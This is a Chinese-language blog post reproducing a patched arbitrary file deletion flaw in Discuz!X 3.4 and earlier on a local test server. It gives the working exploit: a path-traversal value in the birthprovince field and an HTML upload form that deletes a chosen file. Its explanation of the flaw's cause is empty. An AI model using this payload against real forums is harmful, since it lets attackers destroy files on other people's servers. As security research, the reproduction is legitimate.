作者:jishuzhain
Discuz!X 社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
影响版本:DiscuzX?<=?3.4
0x00复现准备
首先准备本地服务器环境,这里我选择的是phpStudy2017(最新下载的)
http://www.pc6.com/softview/SoftView_22804.html?(目前使用3.2版本)
下载完后会是这样
将upload文件夹整个复制到phpStudy2017的WWW目录下
这里的话是把upload文件夹改名为bbs2
DiscuzX?3.2的安装请点击这里:http://www.discuz.net/thread-3456887-1-1.html
0x01开始复现
使用浏览器(我使用了火狐)打开论坛,进行注册
在本地目录里新建一个文本文件
来到用户设置页面
http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base
POST提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73
红框圈出来的是你自己用户名的hash值,需要查看网页源代码进行替换。
点击执行
这里修改birthprovince参数为文件站点存在的文件,这就是后面可以删除的文件。
发送包以后我们还要构造请求去执行删除的文件。请求 home.php?mod=spacecp&ac=profile&op=base
POST birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73
其中 formhash 为用户 hash
然后写一个执行改服务器的html表单,如下
<form action="http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="2fce4b73"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
随便上传一张图片,然后提交表单,upload目录下的test.txt文件就被删除了。
点击Submit出现下面这个
然后查看本地文件目录
漏洞原理:
转载请注明:即刻安全 » 【投稿】Discuz!X前台任意文件删除漏洞复现测试